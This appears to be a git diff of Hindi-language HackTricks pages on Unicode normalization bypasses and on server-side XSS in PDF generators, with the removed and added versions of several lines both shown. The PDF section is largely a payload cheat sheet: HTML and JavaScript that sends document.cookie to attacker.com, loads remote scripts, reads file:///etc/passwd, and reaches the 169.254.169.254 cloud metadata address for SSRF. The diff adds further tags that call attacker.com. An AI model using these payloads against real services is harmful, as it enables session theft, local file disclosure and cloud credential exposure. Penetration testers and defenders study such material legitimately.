उपकरण [**recollapse**](https://github.com/0xacb/recollapse) \*\*\*\* बैकएंड को फज़ करने के लिए **इनपुट के विभिन्न रूपों को उत्पन्न करने** की अनुमति देता है। अधिक जानकारी के लिए **github** और इस [**पोस्ट**](https://0xacb.com/2022/11/21/recollapse/) की जांच करें।
उपकरण [**recollapse**](https://github.com/0xacb/recollapse) \*\*\*\* बैकएंड को फज़ करने के लिए **इनपुट के विभिन्न रूपों** को **जनरेट** करने की अनुमति देता है। अधिक जानकारी के लिए **github** और इस [**पोस्ट**](https://0xacb.com/2022/11/21/recollapse/) की जांच करें।
## Unicode ओवरफ्लो
इस [ब्लॉग](https://portswigger.net/research/bypassing-character-blocklists-with-unicode-overflows) से, एक बाइट का अधिकतम मान 255 है, यदि सर्वर कमजोर है, तो एक ओवरफ्लो को एक विशिष्ट और अप्रत्याशित ASCII वर्ण उत्पन्न करने के लिए तैयार किया जा सकता है। उदाहरण के लिए, निम्नलिखित वर्ण `A` में परिवर्तित होंगे:
- 0x4e41
- 0x4f41
- 0x5041
- 0x5141
## संदर्भ
- [**https://labs.spotify.com/2013/06/18/creative-usernames/**](https://labs.spotify.com/2013/06/18/creative-usernames/)
- [**https://security.stackexchange.com/questions/48879/why-does-directory-traversal-attack-c0af-work**](https://security.stackexchange.com/questions/48879/why-does-directory-traversal-attack-c0af-work)
- [**https://jlajara.gitlab.io/posts/2020/02/19/Bypass_WAF_Unicode.html**](https://jlajara.gitlab.io/posts/2020/02/19/Bypass_WAF_Unicode.html)
- [https://portswigger.net/research/bypassing-character-blocklists-with-unicode-overflows](https://portswigger.net/research/bypassing-character-blocklists-with-unicode-overflows)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -8,21 +8,21 @@
तो, यदि **PDF निर्माता बॉट** कुछ प्रकार के **HTML** **टैग** पाता है, तो यह उन्हें **व्याख्या** करेगा, और आप इस व्यवहार का **दुरुपयोग** करके **Server XSS** का कारण बन सकते हैं।
कृपया ध्यान दें कि `<script></script>` टैग हमेशा काम नहीं करते, इसलिए आपको JS को निष्पादित करने के लिए एक अलग विधि की आवश्यकता होगी (उदाहरण के लिए, `<img` का दुरुपयोग करना)।\
इसके अलावा, ध्यान दें कि एक नियमित शोषण में आप **बनाई गई PDF को देख/डाउनलोड** करने में **सक्षम** होंगे, इसलिए आप जो कुछ भी **JS के माध्यम से लिखते हैं** (उदाहरण के लिए `document.write()` का उपयोग करके) उसे देख सकेंगे। लेकिन, यदि आप **बनाई गई PDF को नहीं देख सकते**, तो आपको शायद **जानकारी निकालने के लिए वेब अनुरोध करना** होगा (Blind)।
इसके अलावा, ध्यान दें कि एक नियमित शोषण में आप **बनाई गई PDF को देख/डाउनलोड** करने में सक्षम होंगे, इसलिए आप जो कुछ भी **JS के माध्यम से लिखते हैं** (उदाहरण के लिए `document.write()` का उपयोग करके) उसे देख सकेंगे। लेकिन, यदि आप **बनाई गई PDF को नहीं देख सकते**, तो आपको शायद **जानकारी निकालने के लिए वेब अनुरोध करना** होगा (Blind)।
### लोकप्रिय PDF निर्माण
- **wkhtmltopdf** HTML और CSS को PDF दस्तावेजों में परिवर्तित करने की अपनी क्षमता के लिए जाना जाता है, जो WebKit रेंडरिंग इंजन का उपयोग करता है। यह उपकरण एक ओपन-सोर्स कमांड लाइन उपयोगिता के रूप में उपलब्ध है, जो इसे विभिन्न प्रकार के अनुप्रयोगों के लिए सुलभ बनाता है।
- **wkhtmltopdf** HTML और CSS को PDF दस्तावेजों में परिवर्तित करने की अपनी क्षमता के लिए जाना जाता है, जो WebKit रेंडरिंग इंजन का उपयोग करता है। यह उपकरण एक ओपन-सोर्स कमांड लाइन उपयोगिता के रूप में उपलब्ध है, जो इसे विभिन्न अनुप्रयोगों के लिए सुलभ बनाता है।
- **TCPDF** PDF निर्माण के लिए PHP पारिस्थितिकी तंत्र के भीतर एक मजबूत समाधान प्रदान करता है। यह चित्रों, ग्राफिक्स और एन्क्रिप्शन को संभालने में सक्षम है, जटिल दस्तावेज़ बनाने के लिए इसकी बहुपरकारीता को प्रदर्शित करता है।
- जो लोग Node.js वातावरण में काम कर रहे हैं, उनके लिए **PDFKit** एक व्यवहार्य विकल्प प्रस्तुत करता है। यह HTML और CSS से सीधे PDF दस्तावेज़ों का निर्माण करने की अनुमति देता है, वेब सामग्री और प्रिंट करने योग्य प्रारूपों के बीच एक पुल प्रदान करता है।
- जावा डेवलपर्स **iText** को प्राथमिकता दे सकते हैं, एक पुस्तकालय जो न केवल PDF निर्माण की सुविधा प्रदान करता है बल्कि डिजिटल हस्ताक्षर और फॉर्म भरने जैसी उन्नत सुविधाओं का भी समर्थन करता है। इसकी व्यापक विशेषताओं का सेट इसे सुरक्षित और इंटरैक्टिव दस्तावेज़ बनाने के लिए उपयुक्त बनाता है
- जावा डेवलपर्स **iText** को पसंद कर सकते हैं, एक पुस्तकालय जो न केवल PDF निर्माण को सुविधाजनक बनाता है बल्कि डिजिटल हस्ताक्षर और फॉर्म भरने जैसी उन्नत सुविधाओं का भी समर्थन करता है। इसकी व्यापक विशेषताएँ इसे सुरक्षित और इंटरैक्टिव दस्तावेज़ बनाने के लिए उपयुक्त बनाती हैं
- **FPDF** एक और PHP पुस्तकालय है, जो अपनी सरलता और उपयोग में आसानी के लिए जाना जाता है। यह उन डेवलपर्स के लिए डिज़ाइन किया गया है जो PDF निर्माण के लिए एक सीधी दृष्टिकोण की तलाश कर रहे हैं, बिना विस्तृत सुविधाओं की आवश्यकता के।
## Payloads
### Discovery
```html
<!-- Basic discovery, Write somthing-->
<!-- Basic discovery, Write something-->
<img src="x" onerror="document.write('test')" />
<script>document.write(JSON.stringify(window.location))</script>
<script>document.write('<iframe src="'+window.location.href+'"></iframe>')</script>
@ -32,6 +32,22 @@
<img src=x onerror="location.href='http://attacker.com/?c='+ document.cookie">
<script>new Image().src="http://attacker.com/?c="+encodeURI(document.cookie);</script>
<link rel=attachment href="http://attacker.com">
<!-- Using base HTML tag -->
<base href="http://attacker.com" />
<!-- Loading external stylesheet -->
<link rel="stylesheet" src="http://attacker.com" />
<!-- Meta-tag to auto-refresh page -->
<meta http-equiv="refresh" content="0; url=http://attacker.com/" />
<!-- Loading external components -->
<input type="image" src="http://attacker.com" />
<video src="http://attacker.com" />
<audio src="http://attacker.com" />
<audio><source src="http://attacker.com"/></audio>
<svg src="http://attacker.com" />
```
### SVG
@ -71,7 +87,7 @@ if not, you will at least have wich path the bot is accessing -->
```
### Load an external script
इस कमजोरियों का लाभ उठाने का सबसे अच्छा तरीका यह है कि आप इस कमजोरियों का दुरुपयोग करें ताकि बॉट एक स्क्रिप्ट लोड करे जिसे आप स्थानीय रूप से नियंत्रित करते हैं। फिर, आप स्थानीय रूप से पेलोड को बदलने में सक्षम होंगे और बॉट को हर बार उसी कोड के साथ लोड करने के लिए मजबूर कर सकेंगे।
इस कमजोरियों का लाभ उठाने का सबसे अच्छा तरीका यह है कि आप इस कमजोरियों का दुरुपयोग करें ताकि बॉट एक स्क्रिप्ट लोड करे जिसे आप स्थानीय रूप से नियंत्रित करते हैं। फिर, आप स्थानीय रूप से पेलोड को बदलने में सक्षम होंगे और बॉट को हर बार उसी कोड के साथ इसे लोड करने के लिए मजबूर कर सकेंगे।
```html
<script src="http://attacker.com/myscripts.js"></script>
<img src="xasdasdasd" onerror="document.write('<script src="https://attacker.com/test.js"></script>')"/>
@ -79,9 +95,9 @@ if not, you will at least have wich path the bot is accessing -->
### स्थानीय फ़ाइल पढ़ें / SSRF
> [!WARNING]
> `file:///etc/passwd` को उदाहरण के लिए `http://169.254.169.254/latest/user-data` में बदलें ताकि **एक बाहरी वेब पृष्ठ (SSRF)** तक पहुँचने की कोशिश की जा सके
> `file:///etc/passwd` को उदाहरण के लिए `http://169.254.169.254/latest/user-data` में बदलें ताकि **एक बाहरी वेब पृष्ठ (SSRF) तक पहुँचने की कोशिश करें**
>
> यदि SSRF की अनुमति है, लेकिन आप **किसी दिलचस्प डोमेन या IP तक नहीं पहुँच सकते**, [संभावित बायपास के लिए इस पृष्ठ की जाँच करें](../ssrf-server-side-request-forgery/url-format-bypass.md).
> यदि SSRF की अनुमति है, लेकिन आप **किसी दिलचस्प डोमेन या IP तक नहीं पहुँच सकते**, [इस पृष्ठ को संभावित बाईपास के लिए देखें](../ssrf-server-side-request-forgery/url-format-bypass.md)।
```html
<script>
x=new XMLHttpRequest;
@ -147,7 +163,7 @@ checkPort(i);
```
### [SSRF](../ssrf-server-side-request-forgery/index.html)
यह कमजोरियों को बहुत आसानी से SSRF में परिवर्तित किया जा सकता है (क्योंकि आप स्क्रिप्ट को बाहरी संसाधनों को लोड करने के लिए बना सकते हैं)। इसलिए बस इसे शोषण करने की कोशिश करें (क्या कुछ मेटाडेटा पढ़ा जा सकता है?)।
यह कमजोरियों को बहुत आसानी से SSRF में परिवर्तित किया जा सकता है (क्योंकि आप स्क्रिप्ट को बाहरी संसाधनों को लोड करने के लिए बना सकते हैं)। इसलिए बस इसे शोषण करने की कोशिश करें (क्या कुछ मेटाडेटा पढ़ सकते हैं?)।
### Attachments: PD4ML
@ -169,5 +185,6 @@ icon="Paperclip" />
- [https://buer.haus/2017/06/29/escalating-xss-in-phantomjs-image-rendering-to-ssrflocal-file-read/](https://buer.haus/2017/06/29/escalating-xss-in-phantomjs-image-rendering-to-ssrflocal-file-read/)
- [https://www.noob.ninja/2017/11/local-file-read-via-xss-in-dynamically.html](https://www.noob.ninja/2017/11/local-file-read-via-xss-in-dynamically.html)
- [https://infosecwriteups.com/breaking-down-ssrf-on-pdf-generation-a-pentesting-guide-66f8a309bf3c](https://infosecwriteups.com/breaking-down-ssrf-on-pdf-generation-a-pentesting-guide-66f8a309bf3c)
- [https://www.intigriti.com/researchers/blog/hacking-tools/exploiting-pdf-generators-a-complete-guide-to-finding-ssrf-vulnerabilities-in-pdf-generators](https://www.intigriti.com/researchers/blog/hacking-tools/exploiting-pdf-generators-a-complete-guide-to-finding-ssrf-vulnerabilities-in-pdf-generators)
{{#include ../../banners/hacktricks-training.md}}